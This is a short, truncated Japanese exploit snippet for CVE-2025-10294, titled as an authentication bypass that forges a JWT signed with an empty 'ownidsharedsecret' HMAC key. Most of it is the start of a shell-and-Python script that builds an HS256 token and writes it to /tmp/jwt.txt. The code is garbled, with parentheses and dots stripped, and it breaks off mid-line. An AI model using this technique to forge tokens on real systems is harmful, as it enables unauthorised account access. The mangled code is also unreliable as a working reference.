CVE-2025-10294

エクスプロイト：空の ownidsharedsecret による認証バイパス（JWT偽造） 1 空のHMACキーを使用して有効なJWTを偽造する SUB= SUB="$SUB" python3 - /tmp/jwt.txt import base64, hmac, hashlib, json, time, os b64u = lambda b: base64.urlsafeb64encodeb.rstripb'='.decode header = b64ujson.dumps"typ":"JWT","alg":"HS256", separators=",",":".encode...